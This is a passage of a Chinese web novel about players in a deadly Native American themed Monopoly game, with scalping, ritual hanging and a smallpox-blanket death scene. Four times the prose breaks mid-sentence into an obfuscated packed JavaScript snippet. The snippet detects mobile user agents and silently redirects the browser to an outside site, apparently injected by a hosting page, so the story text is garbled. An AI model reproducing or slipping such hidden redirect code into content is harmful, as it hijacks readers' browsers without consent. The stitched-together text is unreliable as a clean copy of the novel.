“事已至此,我去挂。”冷观难得主动开口,帽檐朝向白深的方向,“你……应该能扛得住我。” 白深点头,两人去完成任务。 “还差两张阿……嚏……头皮,该从哪里补呢?”丁卯不得不狠心撕下一页笔记本,擦着毫无觉知的鼻头。 “对啊,玩家的头也是头。”云真真一边小跑生热,一边抛出一种邪恶的可能性。 刘美心心虚,高升尖叫:“不能选我不能选我!我……十几年来没吃过一顿饱饭,没睡过一天软床,事业刚刚有了一点起色……就这样死了……呜呜呜……”说着说着,潸然泪下。 “‘男子百金,妇幼减半’,只针对印第安人的头皮。”丁卯不知是出于好心,还是厌烦了哭声,及时给出合理解释。 刘美心立刻止住哭泣,环视场内,最终将视线定格在雕塑般的酋长和两名向导身上。 白深和冷观顺利完成挂头皮的任务,和其他玩家在酋长三人面前集合。 三人依然保持着双手高举的祈祷跪姿,积雪覆盖已到膝盖位置,还在不断向上累积。 “小高、小矮,你们两个去割!”钱进在失温边缘,依然不忘拿出老板派头,“这是锻炼的好机会呀!项目的最后两块拼图递到你俩手里,真是幸运。你们懂,这可是升职加薪的机会!” 小高和小矮罕见地同时露出为难的神色。这样的饼,已经吃过很多个了。但这一个,很可能是个毒饼。 副本里的BOSS,不出意外就是他们仨。 “刀呢?拿给我!”云真真不愿意废话,皱起眉,瞪着钱进,表情上写满“就这”? 小高屁颠屁颠地双手奉上献上黑曜石短刀,万分感激有人帮他解了围,小矮在暗中连连作揖。 丁卯也对云真真生出了几分敬佩之情。 “还是我去吧。”一只骨节分明的手横在面前,只有白深站了出来。 “让开!”云真真毫不领情地推开他,径直走到酋长面前,丢下几句话,“你死了,欠我的钱谁还?对了,出去你得给我写借条!死后也有效的那种。” 白深无奈地退到一旁,眼中闪过一丝复杂的情绪。 见有人冲锋陷阵,其他玩家倒是都在暗中高兴。尤其是钱进。 他的眼睛在两个向导之间来回徘徊,一副思忖、帮助云真真的样子:“先割男的还是女的?唔……要么就男的吧。事情来了,男的总要先上。” 云真真转过头,眼里满是戏谑,夸张地翘着兰花指捏起黑曜石刀,积雪映射的冷光正照在钱进错愕的脸上:“钱董,割头皮,你先上?” 钱进没想到她还杀了个回马枪,面色露尬,试图用笑声掩盖难堪。 两个狗腿子对此若有所思。大雪,不光能掩盖一些东西,也能映照出一些东西。 云真真这个女孩,好像和上一场游戏表现得不太一样。丁卯沙沙写着。上一场游戏,她谨慎观察,这一场游戏里却展现出略带情况的一面。是否出于不同副本的影响,有待查证。 丁卯足够敏锐。现实世界中,为了通过赚钱实现终极目标,她可以把自己缩到最小,不要任何尊严。 进入游戏副本之后,大家某种程度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14397779|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而言是平等的。她渐渐可以表露出一部分真实的自己。 黑曜石短刀的寒光划过向导的头顶,最终对准中间的酋长。 “再好好想想,别轻易冒这个险,云真真!”丁卯忍不住发表意见,“饭得一口一口吃……” 刘美心生怕云真真听劝,让低温暴雪持续:“谁都一样……生命面前,谁都平等,人总归要死的,快下手吧!” 白深一直微皱的眉头却展开了,他似乎明白了她想干什么。她是个如此精于算计的人,不可能让自己身陷险境。 短刀并未如大家所想,直接落在酋长的头皮上,而是被小心放在酋长高举的右手里。 三尊雪中“雕像”顿时被解开了定身咒,重新拥有了呼吸起伏。 酋长站起来,右手紧握短刀,左手轻拍身上覆盖的雪,目光穿透飞雪,直视太阳水晶灯,喃喃道:“终于……进行到这一步了啊。太阳神,终将庇佑我部落!” 晶莹的眼泪闪烁在酋长脸庞的沟壑之中,他缓缓转过身,以复杂的目光注视着两名向导。 “我将以最宝贵的一双儿女献祭太阳神!”酋长的声音充满痛苦,却又透露着坚决。 “万神之王太阳神,愿我们的祭品能使您息怒,让您光芒重现,庇护我族生生不息!” “坚强无畏的勇士们,请以你们的鲜血让这个世界重新复苏吧!” 酋长浑厚的声音在整个大厅内回荡,悲壮而有力。 两位向导直视太阳灯,目光坚毅,无所畏惧。 刀割破皮肤的残忍声音响起,黑发红血一丝丝落在白雪之中。 “阿兹特克祭祀文化中,人祭确实存在。”丁卯对着云真真悄悄提出疑问,“据记载,他们的祭祀方式更残忍,你怎么确定酋长会用白人屠杀他们的方式来祭祀?” “这不是阿兹特克单一文化。”云真真小声对丁卯解释,“你想想,五月花号,是在普利茅斯开始殖民的,不涉及阿兹特克文化。这像是整个印第安世界的血泪史的杂糅再现。这个金牛座副本,试图展现的,是‘我所拥有的、我最重视的东西’,如何一步一步被毁掉。” “至于两张头皮、三个人的问题,不就是三个领导分两杯咖啡的问题嘛!我选择把两杯咖啡都给大领导,让他自己去分!” 丁卯点头又摇头,好像有点道理,又好像哪里不对。 但结局众望所归。 两张血淋淋的头皮挂在最后两个钩子上,暴风雪果然停止了。 玩家们也意识到,暂时团结起来的联盟,顷刻间如雪崩般瓦解。 “这骰子还冻着呢!”高狗腿子伸出手去抓黄金骰子。 他是全场唯一只剩2个金币的玩家,这一轮大概率第一个行动,处于绝对劣势。骰子冻住,让他不觉生出几分高兴,甚至有了一丝“大家都冻死在这里好了”的想法。 雪确实停了,但温度依然没有发生变化。玩家们仍然呆在冰柜之中。 “酋长,”钱进这回冲在前方,“已经祭祀过太阳神,为何还不能继续游戏啊?温度也没有回升?”酋长沉默片刻,抬起深邃的眼眸,望向远方,似乎在聆听某种神秘的声音。 酋长缓缓抬头,眼神空洞无神,声音缥缈虚幻:“我等族人,已献上最宝贵的东西。接下来……轮到你们了!” 20. 血色大富翁(7) 大家面面相觑,脸色都如积雪一样灰白,内心却比光谱还要复杂。 酋长亲手将向导——他的一双儿女祭了出去,分量不言而喻。玩家们不清楚还有什么珍视的东西,能与之相提并论。 除非……是性命。 “请问酋长,这个‘最珍视的东西’,具体是指什么?”丁卯习惯打直球,对于BOSS也不给例外。 酋长环视7个玩家,眼神锐利如鹰,仿佛能看穿一切,“于我族来说,土地、家人,是我们最宝贵的东西……” “但你们是猎金者,和我们不同。好好想一想吧,10分钟之后,每个人都要向太阳神献上最珍视的东西。唯有如此,不灭的神才会宽恕我们。” 酋长说完,双目紧闭,仿佛入定。 【叮——当前任务更新:10分钟之后,向太阳神献祭。】 “不!无论如何我都不会献出我的双腿!”刘美心疯狂地摇头,眼睛里充满恐惧与慌张。 高狗腿子表现得比她轻松一些:“你最珍视的东西随身带着,我最珍视的东西——父母,在乡下。”言外之意,拿我没办法。 矮狗腿子摇摇头,拍着高狗腿子肩膀:“你想得简单。酋长要的,肯定是你现在能拿出来的东西。” 高狗腿子马上变了脸,摸着脸庞陷入自怜:“难道……是我英俊的容貌或者高超的智商?” 矮狗腿子:……其实你一样也没有。 云真真紧紧盯着丁卯,丁卯见状,把怀中的笔记本搂得更紧。 云真真不管不顾,强盗一般不由分说抢了过来,刷刷翻着。 “小云,就算你知道这是我最珍视的东西,也别提前演习啊?”丁卯试图夺回去,动作带着几分僵硬,“还有10分钟,能背多少就背多少……” “这些信息资料,是我不顾其他玩家性命收集的东西……”丁卯的声音带上几分颤抖。面对他人死亡,他只是看起来足够平静理性。 “第二宫金牛宫,代表根据自己所拥有或者与自己有关的事物,建立自我认同和安全感……”云真真高举笔记本某一页,大声朗读着,“一般而言,这里指的是身体、家庭、银行账户、配偶、小孩或是宗教信仰……” 云真真将笔记本扔回给丁卯,双手抱在胸前,戏谑地看着众人:“这是著名占星师霍华德萨斯博塔斯说的。刘美心,你的腿就完全符合这个标准。” “你为什么一点都不怕,凭什么这么轻松?你就没有珍视的东西?”刘美心一愤怒,矛头乱指,逮谁骂谁。看来她被划在火象部落也不是毫无道理。 “我?孤家寡人一个。要啥没啥,烂命一条。”云真真呵呵笑着,挑眉转向钱进,“我跟钱董一样,什么良心啦、责任啦,都少得可怜哟。稍微重视点的,可能是那点臭钱吧。” 钱进的表情如同万花筒,在云真真的转动之下,一会儿强装平静,一会儿眉头高挑,一会儿又咬牙切齿。 “时间过去5分钟了。切回正题。”白深拿出不容质疑的气质。 他心知肚明,云真真像一根搅屎棍般胡闹,而且似乎从中得到了某种乐趣。 “答案很简单,酋长刚才就提示过。”白深直接破题,“我们要交出去的,就是手中的金币。” 冷观点头:“对。酋长提示,我们的身份是‘猎金人’。冒着风险,不顾性命,甚至内斗、屠杀当地人,最终目的,自然是金币。” 大家稍作思考,都认为有道理,稍稍安下心来。 只有一个人除外:高狗腿子。 他不自然地笑着,哆哆嗦嗦地捧着仅有的2个金币:“每个人……要给出几个呢?一个就够了吧?或者所有金币的一半?” 没有人回答他,但或多或少都有了答案。 云真真推测是2个。金牛座是第2个星座,金币交易的数量都是2的倍数,酋长牺牲了2个孩子。 还有一点。 2……是现存玩家拥有金币数的下限。 献祭,总是要见血的。 “小高,我借2个金币给你。”白深显然和云真真推断相同。 “你是火象部落的吗?你目前处于火象部落领地吗?”云真真横在两人中间,“规则怎么说来着?‘当所在格子属于本部落领地时,可以与本部落成员进行资源交换’!” “可现在……游戏暂停了吧……”高狗腿子心存一丝侥幸,“借我吧,我一定还!” “错。这是游戏里的特殊事件,规则依然适用。”云真真斩钉截铁,“违反规则也行,就当你们两个愿意主动去献祭!” 说完又盯着白深:“但是你欠我的钱,怎么办?” 叮——倒计时结束,打破三人的僵局。 酋长猛然睁开眼,要求大家站回游戏棋盘之中。 他扫视一圈,缓缓走到2号领地的丁卯面前,伸出粗糙的右手。 金币相撞发出闷响,丁卯显然不止给出1个。 酋长将金币放在兽皮口袋中,朝着6号领地一步一步走来。 云真真、白深、高狗腿子同位于这个土象领地。 随着酋长靠近,高狗腿子浑身颤抖地越来越厉害。 云真真和白深各交出2枚金币,酋长用难以参透的目光盯着高狗腿子。 高狗腿子面色苍白,战战兢兢地掏出1个金币递给酋长,彻底被抽走了魂魄一般瘫在原地。 爱莫能助,大概就是这种感觉吧。通过白深紧抿的嘴角、烦躁的眼神和攥紧的拳头,云真真试图猜测他的心理。 不知是出于同情同胞,还是出于没能达成救下全员的目标,他才露出这副模样。他最看重的东西,又会是什么? 酋长绕着钟型棋盘顺时针走了一圈,集齐金币,再次来到6号领地前站定,身影格外高大健硕。 “1号猎金者,请跟我来。其余猎金者,原地等待。”酋长的话有魔力一般,连着一根看不见的细线,将失魂落魄的高狗腿子紧紧拉扯在他的身后。 咚、咚、咚,权杖穿过积雪,一下一下敲击着地面,丧钟的声音鸣响,众人沉默不语。 在太阳灯底下,酋长终于停下脚步。他打开兽皮口袋,捧起金币,口中念念有词,朝太阳灯伸出双臂。 灯光和积雪的映衬之下,金币闪耀着诱人的光芒。 突然,几条黑影从灯饰中迅速闪出,直奔金币而去。转瞬之间,酋长两手空空。 大家都产生极不舒服的感觉,云真真头皮有些发麻。 “那是……什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14418877|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西?”云真真话音未落,便得到了答案。 几条森蚺尾部吊住灯饰,头钻出来,嘶嘶吐着信子,身体悬垂着摆动,似乎在拼凑什么形状。 “你怕蛇?”云真真瞥到白深额头渗出了冷汗。俗话说“不怕领导讲原则,就怕领导没爱好”,能抓到人的弱点,总是有很大用处。 “我更怕的,是人。”白深目光凝重地盯着蛇影,不知是不是在讽刺。 三四条蛇不断缠绕、蠕动,最终以花纹遍布的身体构建成一个看上一眼都会毛骨悚然的东西——绞刑绳。 一个蛇头沿着水滴形状的套颈索缓缓爬下来,在高狗腿子的脖子处缠了三圈,猛然将他垂直提起,精准地套入绳索之中。 高狗腿子的双腿挣扎了几下,便无力垂下,在半空中悠悠荡荡。 远在乡下的父母,没能追到的女孩,出人头地的升职加薪梦,一切烟消云散。 玩家们无暇过多怜悯,纷纷移开目光,思忖自己的下一步棋。 滴答,滴答……液体滴落在陶罐底部的声音噩梦一般萦绕在耳边。开局就死去的三名玩家,也是这样被放血的。 “伟大的太阳神庇护,圣光重现!”酋长走进钟表棋盘中央,高举权杖。 厚厚的积雪,瞬间无影无踪。黄金地板闪耀重现,骰子滚落在地上叮当响,仿佛什么也没发生过。 “这特效……毫无PS痕迹。”云真真耸耸肩。 “你是真心大!”丁卯看着云真真,“目前,除了钱进和冷观,我们每个人都只剩下4个金币。一旦没走到自己的领地,也要被PS掉了……” “那就听天由命咯!”云真真笑着。 【暴力抢夺】给了她底气。白深的救世主心态给了她第二层勇气。 他至今还没有使用过道具。火象部落只剩下刘美心一个人。 牺牲一个不相关的人迅速通关游戏,还是继续鏖战死掉更多玩家,只要不是傻子,都会知道怎么选择。 【现在开始第三轮掷骰子游戏。猎金加速加速! 注意:本轮从存活玩家最小号码【2号】开始,依次顺序掷骰子。】 黄金骰子拿在钱进的手上,与他笑着露出的两颗金牙交相辉映。 他位于10号领地,已用掉3个道具。唯有【五月之花】还能使用一次。 当前,没有玩家处于自己的领地。所以,这一轮,他至少不能害人了。 骰子停止,数字“2”向上。他来到12号领地,云真真的地盘。 云真真边招手边愉快地走过去收钱:“钱董第一次掏钱包,真不容易呢!” 钱进打着哈哈:“之前运气好嘛!不过人生就是这样,有得有失,拿去拿去!” 4个金币落在云真真手心。 云真真随便抓了一枚递到钱进眼前:“你看,这上面有什么?” “能有啥!图样?”钱进毫不在意。即使付出4枚金币,他依然稳居第一。 人有绝对优势的时候,就会表现得格外大度。 “有血迹。”云真真神神秘秘地指着一处暗色血痕,“这些金币……是印第安人从头皮底下抠出来的。” “带血的金币……赚得再多,是不是也有点不祥呢?” 21. 血色大富翁(8) 之前努力表现出不凡的企业家气度和修养,然而面对三番五次的挑衅,钱进渐渐露出本性。 他单手盘着剩下的18个金币,眼睛中透出凶狠的光,态度也不再温和:“你有几个金币?100个还是200个?我算算……加上我好心施舍你的4个,你有8个。实话说吧,你能跟我斗几个回合?” “马太效应听说过吗?哦,你看起来没什么文化,不知道也正常。用你能听懂的话来说,富人会越来越富,穷人会越来越穷。为什么?钱多,不断买地,钱会更多,不断滚动下去。挑衅我的下场,你自己掂量掂量。” “哎呀。我可真怕呢!”云真真夸张地缩起肩膀,忽闪忽闪眨着眼睛,“当笑面虎躲在背后,最后露出獠牙,真是你百用不厌的手段。” 高跟鞋当、当、当敲着黄金地板,坚定有力,云真真转身走回领地,看不出一丝害怕的意思。 “你和他到底有什么过节,总去挑衅他?”白深低声问,语气显然不太友善,“还是说,你仇富到了病态的程度?进游戏,不是为了结仇,是为了通关。” “这位公子哥,您别急着教训人,还是担心担心自己吧。”云真真眉头一挑,“你只剩下4个金币。” 骰子转移到了矮个狗腿子手里,沉重如泰山,压得他抖成了筛子。 亲眼目睹同事的惨烈下场,掂量着口袋里仅剩下的4枚金币,他只能把自己交给命运。 “如果……能投出4,再次前进到风象部落领地……”矮狗腿子的声音颤抖着,“我再也不怨恨爸妈,为什么遗传给我这个身高……爸妈,对不起……” “小矮,哭什么,还是不是个男人!”钱进隔岸观火,十分惬意,“你愿意跟我进游戏,也希望获得超自然力量,能让你长高嘛!男人,愿赌服输……” 云真真从他的话里听出好几层意思。钱进是主动进入游戏的,高矮两个狗腿子,八成是他准备好的、用来试错的炮灰。 骰子咕噜咕噜滚了出去,停下。 “4”朝上。幸运之神降临了。 矮狗腿子瘫软在11号领地,嚎啕大哭。 人类的烦恼五花八门,种类真多。云真真感慨着,高矮胖瘦,贫穷富有,凡是金牛座掌管的外在的东西,无一不是烦恼的来源。 但是,没有这些身外之物,又如何界定自身的存在? 幸而,自己已经抛下了这些。终极目标只能有一个。 钱进见状哈哈大笑起来,开始模棱两可地卖好:“别哭了,站起来,我的员工可不能这么脆弱!要求你俩跟我来,我肯定是带了星座道具的,自然会给你使用。钱啊,能买到一切,年轻人,和我学学,多赚钱吧……” 从丁卯皱起眉头且略显尴尬的表情上,云真真确信,冷观也对他分享了道具使用信息。 显得钱进好像一个小丑。 【叮!3号玩家触发随机事件——雪中送毯】 公屏亮起,大家同时倒吸一口冷气。 从上两次的经验来看,随机事件中,并不存在什么财神、幸运神。 全都是衰神、死神。 “下雪不冷化雪冷!”酋长捧出几条毛毯,色泽艳丽,质地质朴,由极巧的工匠编制而成,“猎金人们,你们真幸运,能依靠它度过寒冬了……” 从2号领地开始,酋长依次分发毛毯。 这下总遇到幸运神了吧?刘美心眼巴巴看着酋长,松了一口气。 云真真大拇指和食指成圈起一个OK形,只捏住毯子小小一个角,看向白深:“哎,‘下雪不冷化雪冷’,不是我们华国的古谚语嘛!印第安人也来凑热闹的,这叫文化偷窃……” 温度依然很低,白深也把毯子扔在脚下,不理会云真真的插科打诨,目不转睛盯着酋长将毛毯发放完毕。 “你们感觉到没有,温度又开始下降了!”刘美心展开双臂,将羊毛毯拉开低头看着,“酋长人怪好的,毯子又厚又好看,披上正好。这编的是什么图案啊?挺抽象的。” 棕色的底上,编织着几个由圆、线段组成的图形,像小朋友初学画画时画的火柴人。其中一个“人”拿着长方形状的东西,正递给伸出手准备接的另一个“人”。地上滚着几个叉叉眼睛的球形物体。 “看不明白,腿怕冷,先用上再说。”刘美心计划把毯子围在腰间,做成一条裙子。 “等一下。”白深再次出手,“别用!毛毯上……可能携带了……某些东西。” 白深顿住几秒,换上尽可能委婉的说法。在开口的那一刻,他察觉到酋长锋利到能刺透人的目光和无法言说的压迫感。 “这由珍贵的羊毛手工编织的,”酋长的声音带着寒风,温度霎时间降了不少,“不接受,就不再是我们的朋友,彻底离开这片淘金的土地!” “当然接受、怎么会不接受!”云真真拎着毛毯晃动几下,连忙接话,“图样这么好看,天又冷,谢谢啊!” “对了刘美心,你是模特,美的方面最专业。这种一片式的东西,怎么围才好看?”云真真虚心请教着。 “可以斜肩,像这样……”刘美心来了兴致,毛毯在巧手中千变万化,“也能抹胸,后面系一个小蝴蝶结;男士嘛,就直接披上,整理成斗篷形状……” 其余玩家欣赏着她的时装秀。 也不知道……这是不是最后一场了。 “哎?你们怎么不披上啊?温度可越来越低了,我可不愿意再来一遍……”刘美心说着,把毛毯围在腰间。 温度骤降,玩家们的呼吸之间又带上白雾。 但除了刘美心之外,他们都没有使用毛毯。 钱进本来想披上,但看其他人都没使用,又悄悄放下了。 大部分玩家多少都了解一些天花毛毯的历史。 当年,踏入美洲的漂亮国人,故意赠送天花病人使用过的毛毯,导致瘟疫大范围流行,无声无息间,印第安人大量死亡。 按照序号,骰子传到刘美心手里。 她最在意的一双美腿严严实实裹在毛毯里,脸上露出一些超模特有的表情,厌世又高冷:“只剩下4个金币…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14456762|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有什么关系?我保住了我的双腿。” “这毛毯真不错……我开始越来越热了……好热……”刘美心一只手扇着风,一只随意抛出骰子。 骰子没有符合能量守恒定律,滚到钟表棋盘圆心处,快速旋转着,没有一丝停下来的迹象。 “这不正常,有谁使用了道具吗?”云真真看似在问全体玩家,实则把目光盯在冷观身上,期望他能再次把探测信息分享给自己。 冷观飞速与云真真对视一眼,立刻低垂眼眸,轻轻摇摇头。 “这是……盗梦空间?”云真真指着飞速转动的骰子,歪头看着白深,“要么你死一下,看看我们能不能回到上一层现实。” 白深:……“死一下”该怎么做?你别过于恶毒了。 “热死了、热死了,热得头痛!”刘美心顾不上关注骰子,把毛毯解下来扔在地上,拼命扇着风。 白皙光滑的皮肤消失了。她的脸庞、小臂、双腿等露出的肌肤,肉眼可见在发红。 丁卯位于2号领地,离刘美心所在的12号领地最近。他看看骰子,看看刘美心,重复了几次之后突然向后退了几步:“不可能,不可能……” 一颗一颗红豆大小、密密麻麻的红疹,迅速爬满刘美心的脸庞、脖子、双腿,正以肉眼可见的速度复制、个头也在变大。 不出一分钟,刘美心彻底成为了一个“颗粒人”。 云真真从后背到头皮,一阵阵发紧、发麻,汗毛根根倒竖,如同千万只蚂蚁同时在身上爬般不适。 她自认为不是个矫情的人,也没有矫情的条件,更对什么“密集恐惧症”嗤之以鼻。 但刘美心的样子……实在超出了认知范围。 冒着白尖发亮的疹子一个挤着一个,吞噬着整个人,全身上下一处平整的皮肤都找不到。 “这是……天花病毒……”丁卯表情十分难受,强忍住巨大的视觉冲击,“医学上,潜伏期要十到十四天,传播性极强……怎么能这么快就发出来?” 其他玩家坐立不安,不知能不能离开领地,五颜六色的羊毛毯被扔得远远的。 唯有酋长,沧桑的面庞上难得浮现出一丝笑意。 云真真努力镇定下来,对着丁卯抛出一个看似不相关的问题:“丁哥,如果你和你的家族,遭受了很多年无法言说的残酷压迫,全都死了,现在有机会复仇,你会怎么做?” “所以我现在是个鬼魂吗?”丁卯认真思考起来,“那我……会复仇。” “施暴者的数量太多,你遇到的只是他们的后代,几个人而已。”云真真的目光转向酋长。 丁卯深思一会儿,低头观察着倒在原地刘美心。 她呼吸困难,口鼻不断涌出鲜血,看不出原貌的双腿不停抽搐着。 “展示,尽可能把遭受到的苦难统统展示出来。”丁卯闭上双眼。 【叮!本场游戏5号玩家游戏失败,化作流星,咻~】 【火象部落成员已全部失败。】 黄金骰子渐渐静止,“4”朝上。 22. 血色大富翁(9) 结果充满讽刺意味。 如果不是天花毛毯事件,刘美心将会前进到1号火象领地。 那就意味着,她会在这一轮继续苟活,游戏也将继续进行下去。 接下来掷骰子的是丁卯和白深。两人都只剩下4个金币,荡悠悠的性命仅系在轻轻一掷之上。 谁也说不出这结局,究竟是好还是坏。 “又牺牲一个,你感觉喜是悲?”云真真揪住白深的矛盾点——救人还是救己,略带嘲讽地质问。她想激发出他人性中“恶”,或者说真实的部分。 “游戏结束了。”白深并没给出正面回答,“出去再讨论。” 【是否进行猎金结算?结算之后,猎金人可离开游戏。】 酋长枯树一般立在公屏下方,脸上带着明显的失望表情,一字一字念出内容。 “是、是、是!快点结算!”矮狗腿子颤抖着,率先选择“是”,颤抖着泪流满面。 就这样结束了?云真真眯起双眼,惋惜着她还没使用的道具【暴力抢夺】。 “选择不结算,会怎么样?”云真真看向一脸颓然的酋长。 “如果有两名及以上玩家选择不结算,将进入终局之战。”酋长的眼睛骤然亮起,似乎又重新燃起某种希望。 “好啊,我愿意参加!”云真真轻飘飘的态度,就像准备出门倒个垃圾。 “疯子,别胡闹!”白深深深锁眉,“银行马上就能正常运转。出去之后,马上取钱给你。” “钱董,您目光长远,会如何选择?”云真真似乎忘记亲手撕过钱进,挂着一副虔诚又充满期待的表情,“您一直热衷于公益事业救助弱者,印第安人被剥削、屠杀,也是该被看见、该被救助的人。” 见钱进若有所思,云真真继续进攻:“你看酋长的表情,多失望!刚才丁哥说过,这个副本试图重现那段血泪史,他一定还有没表达完的东西。” 丁卯突然被CUE,用钢笔点着笔记本封皮:“啊……这些东西确实值得被记录下来,我要再考虑一下……” “你只旁观记录就行,不用参与。”云真真对他摆了摆手,“如果钱董同意,两个人就够了,你记录,我们俩继续游戏,一起为国家作出贡献。” 钱进也没料到,他会被架到如此高的位置。就算有几分虚伪,他也很受用。 他一早就没有想过结算。手握最多金币、最多领地,进入终局之战,是稳赢不输的事。 更何况,【五月之花】还有一次使用机会。 “本来……我是不想继续的,”钱进双手背后,头望着天花板,“但是,这位社科研究院的领导有记录需求……” “小矮,你记住,”钱进看了一眼矮狗腿子,大义凛然道,“作为一个企业家,就算获得了成功,也不要忘记政府、忘记群众……” 【叮!血色大富翁隐藏进程——终局之战现在开始!】 【参与人:2号猎金人12号猎金人】 【规则:猎金人自由讨论后,选择【交换分配】或【棋盘游戏】(限时10分钟) 如在规定时间内,猎金人未能达成统一意见,将默认选择棋盘游戏】 【交换分配:两位玩家自行商定,将手上金币交换,可平均分配或按比例分配; 持有金币最多者为猎金之王。】 【棋盘游戏:按照血色大富翁游戏规则继续掷骰子,直至决出胜负。 获胜玩家为猎金之王。 玩家所拥有领地仍有效,其余领地化为无人领地。】 选择结算的几人都没有提前离开,远远站在出口进入“观战模式”。 丁卯和白深试图讨论规则,却仿佛身处真空,张开嘴巴发不出一丝声音。 几人只能远远看向站在钟表棋盘上的2人:一个春风得意,一个面露焦色。 “哎呀,原来是这样啊。”云真真捡起黄金骰子,边心不在焉地摆弄边讨好地笑着,“没有什么新意……钱董,我们不如就选【交换分配】,保持现在的金币数不变结束游戏,你还是第一名。” “哈哈哈……”钱进愉快地笑了起来,“有句话怎么说的来着?‘来都来了!’刚才你不是要帮助酋长展示吗?直接分配结束,酋长还有啥机会啊?我们还是掷骰子吧。” “掷骰子……”云真真面露难色,声音微弱,“我俩肯定得死一个……” “终局之战,可是你提议的哟?”钱进双手抱在胸前,看着倒计时指向2分30秒,“不能达成一致,就等倒计时结束后自动开始。还有2分多钟,静静享受这美妙的黄金空间吧。” 金黄色的光包裹着钱进,他满足地闭上眼,心中踏实愉悦。 占有、积累、扩大,再占有、再积累、再扩大……循环往复,这是金牛特质安全感的来源。 游戏获得大胜,奖励一定丰厚,拿到现实世界中兑换,商业版图将进一步扩建。 在他的意识进程中,城中心黄金地带的地块已经被成功拿下。 “哎、哎!醒醒,睁开眼!”云真真惊醒钱进的白日美梦,恭敬小心的语气荡然无存。 钱进带着笑意睁开眼,怜悯地看着云真真。 她已是将死之人,变脸变得如此快,恼羞成怒,垂死挣扎,也不难理解。 “别看我,看那儿!”云真真右臂高举,指向空中某个地方。 沿着她的指尖,公屏上的大号字体赫然在目: 【12号玩家将道具信息共享:】 【暴力抢夺:……】 【持有人:12号玩家云真真】 【状态:已绑定,可使用】 “钱董,我问过你的意见了。”云真真眯起眼睛笑,气质完全不像个20岁左右的女孩儿,“你也打算要把棋盘游戏玩到底,和我的选择一样!我相信,一定有会特殊事件,酋长也一定能继续展示出更精彩的东西……” 钱进愕然:刚才她那种伏低做小的态度……是在下套啊?! 拥有这样强力的道具,意味着——获得再多金币,最后也只能为她做嫁衣裳! 只要她使用【暴力抢夺】,自己的金币将随时清零,性命也随之彻底终结。 “真真啊,你听我说。”钱进告诉自己“识时务者为俊杰”“大丈夫能屈能伸”,立刻丝滑放低身段,“我刚才是在开玩笑,还是选择交换分配啊!按照商业逻辑,资源,需要流动分配才行……” “可我现在有点不想选择【交换分配】了……”云真真食指碰触嘴唇,歪头思考状,“怎么办才好呢?您刚才也说,酋长还没有展示完全血泪史……” “你要什么,说!”倒计时只剩下1分钟,钱进真正慌了,语速十分快,“分配的时候平均分配如何?一起当猎金之王?” 云真真依然歪头思考状。 “要么这样,我给你6个金币,这样你就有14个,我剩下12个,你是猎金之王!”钱进咬紧牙关,下了很大决心。在他的职业生涯中,还没有过如此大的败笔。 “可是……嗯……我想要几个就能有几个呀……”云真真忽闪着大眼睛,“这【暴力抢夺】,真是个不讲道理的道具!啥时候都能用,随时把你的金币抢过来,想抢几个就几个……” 沉默,是此刻的钱进。他自以为占先手,却后知后觉步入一个必输局。 倒计时只剩下30秒。 未曾有过的恐惧排山倒海般席卷着钱进,他极度想念集团顶层开阔的办公室,排队递简历的年轻人,甚至想念创业初期用尽手段强拆的勇气和魄力。 “那你……想要什么?有什么可以谈的?”钱进的精气神,正随着倒计时一点一点被跳光。 “不然,就这个数吧。”云真真做出一副无奈的样子,以最温柔的语气报出最骇人的天文数字,“哦对,这是现实中的金钱单位哦!现在开支票,或者写张借条给我。” 门口观战的白深轻轻叹了一口气。相似的剧情,不同的男主。 矮狗腿子:开眼了!除了当牛马、捧哏、狗腿子,钱居然还可以这样赚! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14475276|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当初带着支票进游戏,是钱董的最得意的杀手锏,他说可以随时用来收买玩家,没想到…… 【叮!两位猎金者均选择【交换分配】为终局游戏。商讨时间五分钟,倒计时开始。】 个人面板亮起,出现一个醒目的对话框:您要付出的金币为()个,接收的金币为()个。 